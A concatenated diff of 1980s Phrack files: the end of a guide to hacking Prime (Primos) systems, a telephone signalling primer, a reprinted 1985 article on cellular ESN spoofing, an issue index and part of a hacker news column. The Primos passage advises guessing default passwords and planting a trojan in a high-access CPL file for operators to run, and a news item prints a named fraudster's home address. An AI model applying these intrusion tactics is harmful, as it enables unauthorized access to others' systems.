66
+
67
+ A LIB XXX
68
+
69
+ LIB is the directory (user id) name.
70
+
71
+ XXX is the password to that directory (user id).
72
+
73
+
74
+ When you have this, log into that account with the directory name and
75
+ password. If your lucky you'll gain access to that account. I have noticed
76
+ that a lot of high access accounts sometimes have the password XXXXXX or X.
77
+ Try these, I am unsure as to whether they are actual defaults or not.
78
+
79
+
80
+ Ah, the revision is done! Now some more ways to gain access...
81
+
82
+
83
+ *** The Trojan Horse ***
84
+
85
+ Providing you have access, you may or may not be able to edit a file in a
86
+ high access directory. If you can't then try the above technique and try to
87
+ hack a higher level account.
88
+
89
+
90
+ You will first want to learn the Command Processing Language (CPL). Type
91
+ HELP CPL for a list of commands and then play around and try to write your
92
+ own programs. If you don't have a manual handy, look at other CPL programs in
93
+ other directories you can access. Once you know CPL, all you have to do is
94
+ edit a CPL file in a high access dir. Add your own high level commands to the
95
+ program. Then replace the old file, logoff and wait until the operator(s)
96
+ decide to run your program. Hopefully, if everything goes well your routines
97
+ will help you with whatever you wanted. However it would be a good idea to
98
+ have your TH write a file to your directory telling you whether it has been
99
+ ran or not. I will discuss different Trojan Horses in later issues of Phrack.
100
+
101
+
102
+ Once on a Prime it is pretty easy to get other accounts so don't worry about
103
+ it. Just worry about getting on in the first place. Patience is definitely
104
+ required since many systems (particularly versions 19 up) tend to hang up
105
+ after the first invalid id/password combo.
106
+
107
+
108
+
109
+ *** Basic Commands For Beginners ***
110
+
111
+
112
+ This is a list of basic commands you can use once on a Prime system. I will
113
+ not go in-depth on a command, because you can do that for yourself by
114
+ typing:
115
+
116
+ HELP <COMMAND NAME>
117
+
118
+
119
+
120
+ SLIST <FILENAME>
121
+
122
+ This will list out the contents of a file on a directory. Type in the full
123
+ file name (plus extension).
124
+
125
+
126
+ ATTACH <DIRECTORY NAME>
127
+
128
+ This will attach you to another directory. For a full explanation type HELP
129
+ ATTACH.
130
+
131
+
132
+ LD
133
+
134
+ This will list all the files and subdirectories in a directory.
135
+
136
+
137
+ RLS -ALL
138
+
139
+ Commands add up on the stack, and eventually after a pre-determined amount of
140
+ commands you will get a message telling you that you are "now at command level
141
+ XX". This command will release all those pent up commands in the stack.
142
+
143
+
144
+ CPL <FILENAME>
145
+
146
+ This will run a file with the extension ".CPL".
147
+
148
+
149
+ COMINPUT <FILENAME>
150
+
151
+ This will run a file with the extension ".COM"
152
+
153
+
154
+ SEG <FILENAME>
155
+
156
+ This will run a file with the extension ".SEG"
157
+
158
+
159
+ STATUS USERS
160
+
161
+ This will give you a listing of users and other information currently on the
162
+ system.
163
+
164
+
165
+ STATUS
166
+
167
+ This will give you the status of the system and other information.
168
+
169
+
170
+ EDIT (Or ED)
171
+
172
+ This is a text editor.
173
+
174
+
175
+ CHANGE_PASSWORD <OLD PASSWORD>
176
+
177
+ Does just what it says it does.
178
+
179
+
180
+ DELETE <FILENAME>
181
+
182
+ Deletes a file.
183
+
184
+
185
+ LOGOFF
186
+
187
+ I think this is pretty obvious.
188
+
189
+
190
+ LOGIN
191
+
192
+ This will log you out and take you back to the login process, providing there
193
+ is no logins-over-logins set by the administrators.
194
+
195
+
196
+ This is a very small list, but will probably help the beginner greatly when
197
+ he/she first logs on. Hope you enjoyed this issue...Look for Hacking Primos
198
+ Part IV in Phrack, 12. Mebbe'.
199
+
200
+
201
+
202
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
203
+ ! !
204
+ # A Phrack,Inc #
205
+ ! !
206
+ # Presentation #
207
+ ! !
208
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
209
+ =========================================================================
phrack/issue11/8.txt ADDED
@@ -0,0 +1,143 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #8 of 12
4
+
5
+
6
+ Telephone Signalling Methods
7
+ ----------------------------
8
+
9
+
10
+ Written by Doom Prophet
11
+
12
+
13
+ This file explains the basic signalling methods in use by the telephone
14
+ system and is intended for general understanding. The text that follows is not
15
+ highly technical since this file is for basic understanding and aimed at less
16
+ experienced phreaks. Still, the more experienced readers may want to read it
17
+ as a review on the information.
18
+
19
+
20
+ Analog--Analog signals are those that have continuously and smoothly
21
+ varying amplitude or frequency. Speech signals are of this type when you
22
+ consider tone, pitch and volume levels that vary according to the person
23
+ speaking. When a person speaks into the transmitter on a telephone, the voice
24
+ signals are made up of acoustical energy, which are then converted into
25
+ electrical energy for transmission along a transmission medium.
26
+
27
+ Analog carrier facilities may operate over different media, such as wire
28
+ lines, multi-wire cable, coaxial cable, or fiber optic cable. Copper wire is
29
+ the most commonly used for subscriber loops.
30
+
31
+
32
+ A technique that allows for many signals to be sent along the same
33
+ transmission path is called Multiplexing. Analog signals use Frequency
34
+ Division Multiplexing or FDM.
35
+
36
+
37
+ Digital--Instead of the voice signal being processed as an analog signal,
38
+ it is converted into a digital signal and handled with digital circuits
39
+ throughout the transmission process. When it arrives at the CO that serves the
40
+ called telephone, it is converted back to analog to reproduce the original
41
+ voice transmission.
42
+
43
+
44
+ Pulse Code Modulation or PCM is when the binary signal is transmitted in
45
+ serial form. Binary coding represents bits or binary digits at 0 and 1 levels.
46
+ These levels have a definite time relationship with one another. Time Division
47
+ Multiplexing or TDM is the type of multiplexing, sometimes abbreviated as MUX,
48
+ done for digital transmission.
49
+
50
+
51
+ Metallic--Metallic facilities carry only one Voice Frequency (VF) channel.
52
+ Typically, a metallic facility is used to connect business or residential
53
+ lines to a CO. Coaxial cable can be used to transmit both Analog and Digital
54
+ signals as well as Metallic signals.
55
+
56
+
57
+ VF channels have a 4000 Hz bandwidth, from 0 to 4000 Hz. However, the
58
+ in-band range of the voice frequency is between 200 and 3400 Hz. Signals that
59
+ are out of this frequency range but still within the VF channel are out of
60
+ band signals. A supervisory equivalent to 2600 for out of band is 3700 Hz. The
61
+ amount of VF channels vary according to the transmission facilities that are
62
+ being used.
63
+
64
+
65
+ CCIS (Common Channel Interoffice Signalling) is where control or
66
+ supervisory signals are sent on a separate data link between switching
67
+ offices. CCIS links operate at 4800 bps, or baud. Signal Transfer Points in
68
+ the switch send the supervisory information over the dedicated link. This
69
+ prevents supervisory tones from subscriber stations to register with the
70
+ telephone network as a change in trunk status.
71
+
72
+
73
+ Reverse Battery Signalling- When the called end answers, the polarity and
74
+ condition of the Ring and Tip leads is reversed to indicate the status of the
75
+ connection. Conditions for a call being placed, but not yet answered, is
76
+ ground on the Tip and battery (the CO battery current is flowing through) on
77
+ the Ring. When the called party answers, by the action of relays in the
78
+ switching equipment, current is reversed in the calling subscriber loop and
79
+ battery is placed on the Tip and ground on the Ring, which remains during the
80
+ talking.
81
+
82
+
83
+ E and M- Leads connecting switching equipment to trunk circuits are termed
84
+ the E and M leads, for receive and transmit. The E lead reflects the far-end
85
+ or terminating end condition of the trunk. Ground on the E lead indicates that
86
+ a signal has been received from the other end. The E lead is open when the
87
+ trunk is idle. The M lead reflects the the near end condition of the trunk. It
88
+ is grounded when the trunk is idle, and goes to battery condition when the
89
+ called party goes off hook. Long interoffice and short haul toll trunks use
90
+ this signalling method.
91
+
92
+
93
+ It should be noted that AC signalling is Alternating Current, and is used
94
+ on the intertoll network, and interoffice and short haul toll trunks. DC, or
95
+ direct current, is used on two wire or intraoffice connections, and local
96
+ interoffice trunks.
97
+
98
+ Single Frequency (SF)- Single Frequency is an in-band 2600 Hz signalling
99
+ system. When a four wire trunk is idle, and is equipped for SF in band
100
+ signalling, a 2600 Hz tone is being transmitted in both directions. When the
101
+ trunk is seized at an originating position, the M lead is changed from ground
102
+ to battery state. This removes the 2600 Hz supervisory tone from the outgoing
103
+ trunk pair. The loss of the 2600 Hz will be detected at the far end by the SF
104
+ signalling unit, changing the far end E lead condition from open to ground,
105
+ causing switching equipment to function. When ground is restored to the M
106
+ lead, replacing 2600 on the near end trunk, the pulsing of address information
107
+ begins.
108
+
109
+
110
+ Multi-Frequency (MF)- The MF pulsing method uses AC signals in the voice
111
+ frequency range, and transmits address information between COs by combinations
112
+ of only 2 of 5 frequencies. MF is used for the sending of address information,
113
+ as mentioned before. Other signalling methods are still required for trunk
114
+ control and supervision. There are six MFs comprising MF codes. These are 200
115
+ Hz apart in the 700-1700 range. Two frequencies are sent at once, thus
116
+ explaining the term 'Multi frequency.'
117
+
118
+
119
+ MF pulsing is initiated by manual keysets and the TSPS switchboard, or by
120
+ MF outpulsing senders in ESS and Xbar. MF pulsing is very rapid and only
121
+ occurs when a connection is being established. KPs, or Key Pulses, are used as
122
+ a signal to start MF pulsing. STs, or STart tones are used as a signal to
123
+ indicate the end of MF pulsing.
124
+
125
+
126
+ As an example of MF signalling, take a toll switchboard trunk connected to
127
+ a Xbar Central Office. The operator selects an idle trunk, and presses the KP
128
+ button on the keyset to signal the distant sender or register link equipment
129
+ to connect to a MF receiver. The S lamp on the keyset will light when the far
130
+ end is ready to receive MF pulses. After keypulsing the digits of the called
131
+ number, the operator presses the ST button, which indicates the end of pulsing
132
+ and disconnects the keyset from the operator's cord circuit and extinguishes
133
+ the KP and S lamps.
134
+
135
+
136
+ At the terminating CO, the two MF tones of each digit are amplified and
137
+ limited in the MF receiver unit associated with the incoming sender and
138
+ register circuit. The frequencies are selected by channel filters in the MF
139
+ receiver and then detected. The DC voltage that results will operate the
140
+ proper channel relays to continue with the process of placing the call.
141
+
142
+
143
+
phrack/issue11/9.txt ADDED
@@ -0,0 +1,280 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #9 of 12
4
+
5
+ --------------------------------------------------------------------------
6
+ The following is reprinted from the November 1985 issue of Personal
7
+ Communications Technology magazine by permission of the authors and
8
+ the publisher, FutureComm Publications Inc., 4005 Williamsburg Ct.,
9
+ Fairfax, VA 22032, 703/352-1200.
10
+
11
+ Copyright 1985 by FutureComm Publications Inc. All rights reserved.
12
+ --------------------------------------------------------------------------
13
+
14
+
15
+ THE ELECTRONIC SERIAL NUMBER: A CELLULAR 'SIEVE'?
16
+ 'SPOOFERS' CAN DEFRAUD USERS AND CARRIERS
17
+
18
+ by Geoffrey S. Goodfellow, Robert N. Jesse, and Andrew H. Lamothe, Jr.
19
+
20
+
21
+ What's the greatest security problem with cellular phones? Is it privacy of
22
+ communications? No.
23
+
24
+ Although privacy is a concern, it will pale beside an even greater problem:
25
+ spoofing.
26
+
27
+ 'Spoofing' is the process through which an agent (the 'spoofer') pretends to
28
+ be somebody he isn't by proffering false identification, usually with intent
29
+ to defraud. This deception, which cannot be protected against using the
30
+ current U.S. cellular standards, has the potential to create a serious
31
+ problem--unless the industry takes steps to correct some loopholes in the
32
+ present cellular standards.
33
+
34
+ Compared to spoofing, the common security concern of privacy is not so severe.
35
+ Most cellular subscribers would, at worst, be irked by having their
36
+ conversational privacy violated. A smaller number of users might actually
37
+ suffer business or personal harm if their confidential exchanges were
38
+ compromised. For them, voice encryption equipment is becoming increasingly
39
+ available if they are willing to pay the price for it.
40
+
41
+ Thus, even though technology is available now to prevent an interloper from
42
+ overhearing sensitive conversations, cellular systems cannot--at any
43
+ cost--prevent pirates from charging calls to any account. This predicament is
44
+ not new to the industry. Even though cellular provides a modern,
45
+ sophisticated quality mobile communications service, it is not fundamentally
46
+ much safer than older forms of mobile telephony.
47
+
48
+ History of Spoofing Vulnerability
49
+
50
+ The earliest form of mobile telephony, unsquelched manual Mobile Telephone
51
+ Service (MTS), was vulnerable to interception and eavesdropping. To place a
52
+ call, the user listened for a free channel. When he found one, he would key
53
+ his microphone to ask for service: 'Operator, this is Mobile 1234; may I
54
+ please have 555-7890.' The operator knew to submit a billing ticket for
55
+ account number 1234 to pay for the call. So did anybody else listening to the
56
+ channel--hence the potential for spoofing and fraud.
57
+
58
+ Squelched channel MTS hid the problem only slightly because users ordinarily
59
+ didn't overhear channels being used by other parties. Fraud was still easy
60
+ for those who turned off the squelch long enough to overhear account numbers.
61
+
62
+ Direct-dial mobile telephone services such as Improved Mobile Telephone
63
+ Service (IMTS) obscured the problem a bit more because subscriber
64
+ identification was made automatically rather than by spoken exchange between
65
+ caller and operator. Each time a user originated a call, the mobile telephone
66
+ transmitted its identification number to the serving base station using some
67
+ form of Audio Frequency Shift Keying (AFSK), which was not so easy for
68
+ eavesdroppers to understand.
69
+
70
+ Committing fraud under IMTS required modification of the mobile--restrapping
71
+ of jumpers in the radio unit, or operating magic keyboard combinations in
72
+ later units--to reprogram the unit to transmit an unauthorized identification
73
+ number. Some mobile control heads even had convenient thumb wheel switches
74
+ installed on them to facilitate easy and frequent ANI (Automatic Number
75
+ Identification) changes.
76
+
77
+ Cellular Evolution
78
+
79
+ Cellular has evolved considerably from these previous systems. Signaling
80
+ between mobile and base stations uses high-speed digital techniques and
81
+ involves many different types of digital messages. As before, the cellular
82
+ phone contains its own Mobile Identification Number (MIN), which is programmed
83
+ by the seller or service shop and can be changed when, for example, the phones
84
+ sold to a new user. In addition, the U.S. cellular standard incorporates a
85
+ second number, the 'Electronic Serial Number' (ESN), which is intended to
86
+ uniquely and permanently identify the mobile unit.
87
+
88
+ According to the Electronic Industries Association (EIA) Interim Standard
89
+ IS-3-B, Cellular System Mobile Station--Land Station Compatibility
90
+ Specification (July 1984), 'The serial number is a 32-bit binary number that
91
+ uniquely identifies a mobile station to any cellular system. It must be
92
+ factory-set and not readily alterable in the field. The circuitry that
93
+ provides the serial number must be isolated from fraudulent contact and
94
+ tampering. Attempts to change the serial number circuitry should render the
95
+ mobile station inoperative.'
96
+
97
+ The ESN was intended to solve two problems the industry observed with its
98
+ older systems.
99
+
100
+ First, the number of subscribers that older systems could support fell far
101
+ short of the demand in some areas, leading groups of users to share a single
102
+ mobile number (fraudulently) by setting several phones to send the same
103
+ identification. Carriers lost individual user accountability and their means
104
+ of predicting and controlling traffic on their systems.
105
+
106
+ Second, systems had no way of automatically detecting use of stolen equipment
107
+ because thieves could easily change the transmitted identification.
108
+
109
+ In theory, the required properties of the ESN allow cellular systems to check
110
+ to ensure that only the correctly registered unit uses a particular MIN, and
111
+ the ESNs of stolen units can be permanently denied service ('hot-listed').
112
+ This measure is an improvement over the older systems, but vulnerabilities
113
+ remain.
114
+
115
+ Ease of ESN Tampering
116
+
117
+ Although the concept of the unalterable ESN is laudable in theory, weaknesses
118
+ are apparent in practice. Many cellular phones are not constructed so that
119
+ 'attempts to change the serial number circuitry renders the mobile station
120
+ inoperative.' We have personally witnessed the trivial swapping of one ESN
121
+ chip for another in a unit that functioned flawlessly after the switch was
122
+ made.
123
+
124
+ Where can ESN chips be obtained to perform such a swap? We know of one recent
125
+ case in the Washington, D.C. area in which an ESN was 'bought' from a local
126
+ service shop employee in exchange for one-half gram of cocaine. Making the
127
+ matter simpler, most manufacturers are using industry standard Read-Only
128
+ Memory (ROM) chips for their ESNs, which are easily bought and programmed or
129
+ copied.
130
+
131
+ Similarly, in the spirit of research, a west coast cellular carrier copied the
132
+ ESN from one manufacturer's unit to another one of the same type and
133
+ model--thus creating two units with the exact same identity.
134
+
135
+ The ESN Bulletin Board
136
+
137
+ For many phones, ESN chips are easy to obtain, program, and install. How does
138
+ a potential bootlegger know which numbers to use? Remember that to obtain
139
+ service from a system, a cellular unit must transmit a valid MIN (telephone
140
+ number) and (usually) the corresponding serial number stored in the cellular
141
+ switch's database.
142
+
143
+ With the right equipment, the ESN/MIN pair can be read right off the air
144
+ because the mobile transmits it each time it originates a call. Service shops
145
+ can capture this information using test gear that automatically receives and
146
+ decodes the reverse, or mobile-to-base, channels.
147
+
148
+ Service shops keep ESN/MIN records on file for units they have sold or
149
+ serviced, and the carriers also have these data on all of their subscribers.
150
+ Unscrupulous employees could compromise the security of their customers'
151
+ telephones.
152
+
153
+ In many ways, we predict that 'trade' in compromised ESN/MIN pairs will
154
+ resemble what currently transpires in the long distance telephone business
155
+ with AT&T credit card numbers and alternate long-distance carrier (such as
156
+ MCI, Sprint and Alltel) account codes. Code numbers are swapped among
157
+ friends, published on computer 'bulletin boards' and trafficked by career
158
+ criminal enterprises.
159
+
160
+ Users whose accounts are being defrauded might--or might not--eventually
161
+ notice higher-than-expected bills and be reassigned new numbers when they
162
+ complain to the carrier. Just as in the long distance business, however, this
163
+ number 'turnover' (deactivation) won't happen quickly enough to make abuse
164
+ unprofitable. Catching pirates in the act will be even tougher than it is in
165
+ the wireline telephone industry because of the inherent mobility of mobile
166
+ radio.
167
+
168
+ Automating Fraud
169
+
170
+ Computer hobbyists and electronics enthusiasts are clever people. Why should
171
+ a cellular service thief 'burn ROMs' and muck with hardware just to install
172
+ new IDs in his radio? No Herculean technology is required to 'hack' a phone
173
+ to allow ESN/MIN programming from a keyboard, much like the IMTS phone thumb
174
+ wheel switches described above.
175
+
176
+ Those not so technically inclined may be able to turn to mail-order
177
+ entrepreneurs who will offer modification kits for cellular fraud, much as
178
+ some now sell telephone toll fraud equipment and pay-TV decoders.
179
+
180
+ At least one manufacturer is already offering units with keyboard-programmable
181
+ MINs. While intended only for the convenience of dealers and service shops,
182
+ and thus not described in customer documentation, knowledgeable and/or
183
+ determined end users will likely learn the incantations required to operate
184
+ the feature. Of course this does not permit ESN modification, but easy MIN
185
+ reprogrammability alone creates a tremendous liability in today's roaming
186
+ environment.
187
+
188
+ The Rolls Royce of this iniquitous pastime might be a 'Cellular Cache-Box.' It
189
+ would monitor reverse setup channels and snarf ESN/MIN pairs off the air,
190
+ keeping a list in memory. Its owner could place calls as on any other
191
+ cellphone. The Cache-Box would automatically select an ESN/MIN pair from its
192
+ catalog, use it once and then discard it, thus distributing its fraud over
193
+ many accounts. Neither customer nor service provider is likely to detect the
194
+ abuse, much less catch the perpetrator.
195
+
196
+ As the history of the computer industry shows, it is not far-fetched to
197
+ predict explosive growth in telecommunications and cellular that will bring
198
+ equipment prices within reach of many experimenters. Already we have seen the
199
+ appearance of first-generation cellular phones on the used market, and new
200
+ units can be purchased for well under $1000 in many markets.
201
+
202
+ How High The Loss?
203
+
204
+ Subscribers who incur fraudulent charges on their bills certainly can't be
205
+ expected to pay them. How much will fraud cost the carrier? If the charge is
206
+ for home-system airtime only, the marginal cost to the carrier of providing
207
+ that service is not as high as if toll charges are involved. In the case of
208
+ toll charges, the carrier suffers a direct cash loss. The situation is at its
209
+ worst when the spoofer pretends to be a roaming user. Most inter-carrier
210
+ roaming agreements to date make the user's home carrier (real or spoofed)
211
+ responsible for charges, who would then be out hard cash for toll and airtime
212
+ charges.
213
+
214
+ We have not attempted to predict the dollar losses this chicanery might
215
+ generate because there isn't enough factual information information for anyone
216
+ to guess responsibly. Examination of current estimates of long-distance-toll
217
+ fraud should convince the skeptic.
218
+
219
+ Solutions
220
+
221
+ The problems we have described are basically of two types. First, the ESN
222
+ circuitry in most current mobiles is not tamper-resistant, much less
223
+ tamper-proof. Second and more importantly, the determined perpetrator has
224
+ complete access to all information necessary for spoofing by listening to the
225
+ radio emissions from valid mobiles because the identification information
226
+ (ESN/MIN) is not encrypted and remains the same with each transmission.
227
+
228
+ Manufacturers can mitigate the first problem by constructing mobiles that more
229
+ realistically conform to the EIA requirements quoted above. The second
230
+ problem is not beyond solution with current technology, either. Well-known
231
+ encryption techniques would allow mobiles to identify themselves to the
232
+ serving cellular system without transmitting the same digital bit stream each
233
+ time. Under this arrangement, an interloper receiving one transmission could
234
+ not just retransmit the same pattern and have it work a second time.
235
+
236
+ An ancillary benefit of encryption is that it would reasonably protect
237
+ communications intelligence--the digital portion of each transaction that
238
+ identifies who is calling whom when.
239
+
240
+ The drawback to any such solution is that it requires some re-engineering in
241
+ the Mobile-Land Station Compatibility Specification, and thus new software or
242
+ hardware for both mobiles and base stations. The complex logistics of
243
+ establishing a new standard, implementing it, and retrofitting as much of the
244
+ current hardware as possible certainly presents a tough obstacle, complicated
245
+ by the need to continue supporting the non-encrypted protocol during a
246
+ transition period, possibly forever.
247
+
248
+ The necessity of solving the problem will, however, become apparent. While we
249
+ presently know of no documented cases of cellular fraud, the vulnerability of
250
+ the current standards and experience with similar technologies lead us to
251
+ conclude that it is inevitable. Failure to take decisive steps promptly will
252
+ expose the industry to a far more expensive dilemma. XXX
253
+
254
+
255
+ Geoffrey S. Goodfellow is a member of the senior research staff in the
256
+ Computer Science Laboratory at SRI International, 333 Ravenswood Ave., Menlo
257
+ Park, CA 94025, 415/859-3098. He is a specialist in computer security and
258
+ networking technology and is an active participant in cellular industry
259
+ standardization activities. He has provided Congressional testimony on
260
+ telecommunications security and privacy issues and has co-authored a book on
261
+ the computer 'hacking' culture.
262
+
263
+ Robert N. Jesse (2221 Saint Paul St., Baltimore, MD 21218, 301/243-8133) is an
264
+ independent consultant with expertise in security and privacy, computer
265
+ operating systems, telecommunications and technology management. He is an
266
+ active participant in cellular standardization efforts. He was previously a
267
+ member of the senior staff at The Johns Hopkins University, after he obtained
268
+ his BES/EE from Johns Hopkins.
269
+
270
+ Andrew H. Lamothe, Jr. is executive vice-president of engineering at Cellular
271
+ Radio Corporation, 8619 Westwood Center Dr., Vienna, VA 22180, 703/893-2680.
272
+ He has played a leading role internationally in cellular technology
273
+ development. He was with Motorola for 10 years prior to joining American
274
+ TeleServices, where he designed and engineered the Baltimore/Washington market
275
+ trial system now operated by Cellular One.
276
+ --------
277
+
278
+
279
+ A later note indicates that one carrier may be losing something like $180K per
280
+ month....
phrack/issue12/1.txt ADDED
@@ -0,0 +1,42 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #1 of 11
4
+
5
+ Index
6
+ ~~~~~
7
+ 3/29/87
8
+
9
+
10
+ Ok, so we made it through another few delayed weeks of saying a
11
+ release was coming soon. But of course, I finally got motivated and got this
12
+ issue moving. I'd like to thank many of the people who rushed themselves to
13
+ get their articles to me when they didn't know that the release was so soon,
14
+ and for those that haven't gotten their articles in in time (for two issues,
15
+ mind you [no names mentioned, of course, but I felt a denotation would be
16
+ sufficient to provide my feelings in the introduction]) a big, "Oh well."
17
+ We're glad you've continued your patronage (Ha!) with Phrack Inc. over the
18
+ past year and a half or so and a big thanks to all of the writers who have
19
+ kept the publication going for all this time. But after this issue comes a
20
+ break. Not a break in putting Phrack out, but a break in the grind and rush
21
+ to get it out as I did with this issue. Phrack 13 will be EXTREMELY
22
+ different, and I guarantee that to you. Phrack 13 will be released on April
23
+ 1st (hmm...ring any bells?) so be watching for it! Later
24
+
25
+ Taran King
26
+ Sysop of Metal Shop Private
27
+
28
+ ------------------------------------------------------------------------------
29
+
30
+ This issue of Phrack Inc. includes the following:
31
+
32
+ #1 Index of Phrack 12 by Taran King (2.3 k)
33
+ #2 Pro-Phile IX on Agrajag The Prolonged by Taran King (6.7 k)
34
+ #3 Preview to Phrack 13-The Life & Times of The Executioner (4.9 k)
35
+ #4 Understanding the Digital Multiplexing System (DMS) by Control C (18.8 k)
36
+ #5 The Total Network Data System by Doom Prophet (13.2 k)
37
+ #6 CSDC II - Hardware Requirements by The Executioner (8.1 k)
38
+ #7 Hacking : OSL Systems by Evil Jay (8.7 k)
39
+ #8 Busy Line Verification Part II by Phantom Phreaker (9.1 k)
40
+ #9 Scan Man's Rebuttal to Phrack World News (16.5 k)
41
+ #10 Phrack World News XII Part I by Knight Lightning (13.3 k)
42
+ #11 Phrack World News XII Part II by Knight Lightning (14.7 k)
phrack/issue12/10.txt ADDED
@@ -0,0 +1,239 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #10 of 11
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN >>>>>=-*{ Phrack World News }*-=<<<<< PWN
8
+ PWN Issue XII/1 PWN
9
+ PWN PWN
10
+ PWN Created, Compiled, and Written PWN
11
+ PWN by Knight Lightning PWN
12
+ PWN PWN
13
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
14
+
15
+ Local News March 20, 1987
16
+ ~~~~~~~~~~
17
+ This issue of PWN marks the anniversary of Metal Shop Brewery.
18
+
19
+ Things are looking up. Metal Shop Private is back and all previous members
20
+ are asked to call back. The same passwords and logons still work and even
21
+ better, the old posts have been saved despite the hard drive crash a few
22
+ months ago.
23
+
24
+ Phrack XIII will be released on April 1, 1987; April Fool's Day!
25
+
26
+ It features joke files, fiction files, humorous files, and of course, rag
27
+ files. With all the seriousness of the regular issues of Phrack, this is a
28
+ chance to release some building flashes of comedy. Please note that files for
29
+ Phrack XIII can only be submitted by members of Metal Shop Private. This does
30
+ not apply to other issues of Phrack. Don't miss it!
31
+
32
+ SummerCon 1987
33
+ ~~~~~~~~~~~~~~
34
+ For those that don't already know, TeleComputist Newsletter and Phrack Inc.
35
+ are sponsoring this year's big phreak gathering in St. Louis, Missouri. As
36
+ many of you may note, St. Louis is the home of Metal Shop Private, Phrack
37
+ Inc., and TeleComputist Newsletter. We all hope that since St. Louis is in
38
+ the middle of the country that it will be easy for people to attend. We
39
+ extend an invitation to anyone who wants to come. We will have a conference
40
+ room and two suites in a hotel in St. Louis.
41
+
42
+ The official date for SummerCon 1987 is June 19,20. This is far enough into
43
+ the summer that everyone of the younger generation should be out of school and
44
+ early enough that no one has to worry about facing reality right away. This
45
+ date has also been chosen specifically as to not interfere with the St. Louis
46
+ VP Fair (Vale Profit).
47
+
48
+ If you are going to attend SummerCon, we ask that you contact Knight
49
+ Lightning, Taran King, or Forest Ranger for more details. The TeleComputist
50
+ Information Line is (314) 921-7938. The names of those attending will be kept
51
+ confidential so as to not cause anyone discomfort, however we do ask that you
52
+ identify yourself at the conference by means of a name tag or some form of
53
+ identification. Security personal is welcome to attend, but we request that
54
+ you let us know ahead of time. If anyone, especially security personnel,
55
+ would like to speak at SummerCon please also let us know and we will schedule
56
+ you in.
57
+
58
+ :Knight Lightning
59
+ ______________________________________________________________________________
60
+
61
+ Hackers Caught Using Credit Card To Buy More Equipment February 20, 1987
62
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
63
+ By Ben L. Kaufman of The Cincinnati Enquirer
64
+
65
+ "I was uneasy about the pickup."
66
+
67
+ Two young "hackers" in Milford using an electronic bulletin board to get
68
+ stolen credit card numbers and buy hardware to expand their computers. Now
69
+ they're in big trouble because unauthorized use of a credit card is a federal
70
+ offense and the Secret Service caught them. "Computer-aided credit card fraud
71
+ is increasingly common, said special agent in charge, James T. Christian on
72
+ Tuesday, "but using the filched name and number to enhance computer clout was
73
+ a unique touch."
74
+
75
+ The two youths had a $1,300 order sent to an abandoned house on Ohio 131E,
76
+ Christian said, but when they picked it up an agent was waiting with the UPS
77
+ deliveryman.
78
+
79
+ John Martin Howard, 21, 5788 Meadowview Drive, Milford was cited before U.S.
80
+ magistrate J. Vincent Aug Jr., who accepted his plead to guilty Monday and
81
+ released him on his promise to return when summoned.
82
+
83
+ "I was uneasy about the pickup," Howard recalled in a telephone interview. The
84
+ risk of getting caught "was in the back of my mind." And it was an awful
85
+ moment when the Secret Service agent confronted him and his juvenile buddy,
86
